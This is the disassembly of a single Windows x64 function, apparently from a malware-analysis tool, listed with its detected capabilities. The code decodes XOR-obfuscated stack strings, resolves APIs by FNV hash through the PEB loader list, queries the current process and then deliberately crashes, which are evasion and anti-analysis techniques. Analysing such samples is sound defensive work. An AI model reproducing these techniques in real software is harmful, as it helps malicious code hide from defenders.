Function at 0x1400505e0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
xorps xmm0, xmm0
xor ebx, ebx
movups xmmword [rbp + 0x27], xmm0
mov dword [rbp + 0x67], ebx
mov eax, 0x824e
movups xmmword [rbp + 0x37], xmm0
mov r9d, ebx
lea edi, [rbx + 0xf]
movups xmmword [rbp + 0x47], xmm0
mov word [rbp - 9], ax
movabs r10, 0x2708afa85b89822e
mov eax, 0x8259
mov r11d, 0x7dd2
mov word [rbp - 7], ax
mov eax, 0x8256
mov word [rbp - 5], ax
mov eax, 0x8255
mov word [rbp - 3], ax
mov eax, 0x8257
mov word [rbp - 1], ax
mov eax, 0x8215
mov word [rbp + 1], ax
mov eax, 0x825b
mov word [rbp + 3], ax
mov eax, 0x825c
mov word [rbp + 5], ax
mov eax, 0x8252
mov word [rbp + 7], ax
mov eax, 0x823d
mov word [rbp + 9], ax
movzx eax, word [rbp - 9]
nop
movzx r8d, word [rbp + r9*2 - 9]
mov rcx, r9
and ecx, edi
movzx eax, r9w
cmp rcx, rdi
mov rdx, r10
cmovae rcx, rdi
sub ax, r11w
shl cl, 2
shr rdx, cl
and dx, di
xor dx, ax
xor dx, r8w
mov word [rbp + r9*2 - 9], dx
inc r9
cmp r9, 0xa
jb 0x140050680
lea rcx, [rbp - 9]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r10, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140050a10
mov byte [rbp + 0xb], Ordinal_79
movabs r11, 0xb136af58ba49660e
mov byte [rbp + 0xc], 0x7b
mov r9, r11
mov byte [rbp + 0xd], 0x47
mov byte [rbp + 0xe], 0x62
mov byte [rbp + 0xf], 0x7e
mov byte [rbp + 0x10], 0x65
mov byte [rbp + 0x11], 0x67
mov byte [rbp + 0x12], 0x57
mov byte [rbp + 0x13], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x14], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x15], 0x78
mov byte [rbp + 0x16], 0x61
mov byte [rbp + 0x17], WSACleanup
mov byte [rbp + 0x18], 0x79
mov byte [rbp + 0x19], 0x69
mov byte [rbp + 0x1a], 0x7f
mov byte [rbp + 0x1b], 0x7f
mov byte [rbp + 0x1c], WSACleanup
mov byte [rbp + 0x1d], 0x76
mov byte [rbp + 0x1e], 0x55
mov byte [rbp + 0x1f], 0x44
mov byte [rbp + 0x20], 0x44
mov byte [rbp + 0x21], 0x4b
mov byte [rbp + 0x22], 0x5d
mov byte [rbp + 0x23], 0x5d
mov byte [rbp + 0x24], Ordinal_35
movzx eax, byte [rbp + 0xb]
lea rax, [rbp + 0xb]
sub r9, rax
nop word [rax + rax]
mov rcx, rbx
lea rdx, [rbp + 0xb]
add rdx, rbx
and ecx, edi
cmp rcx, rdi
mov rax, r11
cmovae rcx, rdi
movzx r8d, byte [rdx]
add dl, r9b
shl cl, 2
shr rax, cl
and al, dil
xor al, dl
xor al, r8b
mov byte [rbp + rbx + 0xb], al
inc rbx
cmp rbx, 0x1a
jb 0x140050760
lea rdx, [rbp + 0xb]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140050a10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rbp + 0x67]
mov r9d, Ordinal_50
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x27]
mov rcx, rax
xor edx, edx
call rbx
test eax, eax
js 0x140050a10
mov rax, qword [rbp + 0x2f]
test rax, rax
je 0x140050a10
cmp byte [rax + 2], 0
je 0x140050a10
mov rax, qword gs:[0x60]
mov byte [0x14017640c], 1
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140050887
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140050887
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140050882
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140050860
cmp r8d, 0xcded1a85
je 0x14005088c
test r9d, r9d
jne 0x140050840
mov rax, qword [rax]
jmp 0x140050810
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140050937
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140050937
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140050932
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140050910
cmp r8d, 0xe80fd3a
je 0x14005093c
test r9d, r9d
jne 0x1400508f0
mov rax, qword [rax]
jmp 0x1400508c0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400509e7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400509e7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400509e2
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400509c0
cmp r8d, 0xa52bcaf9
je 0x1400509ec
test r9d, r9d
jne 0x1400509a0
mov rax, qword [rax]
jmp 0x140050970
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret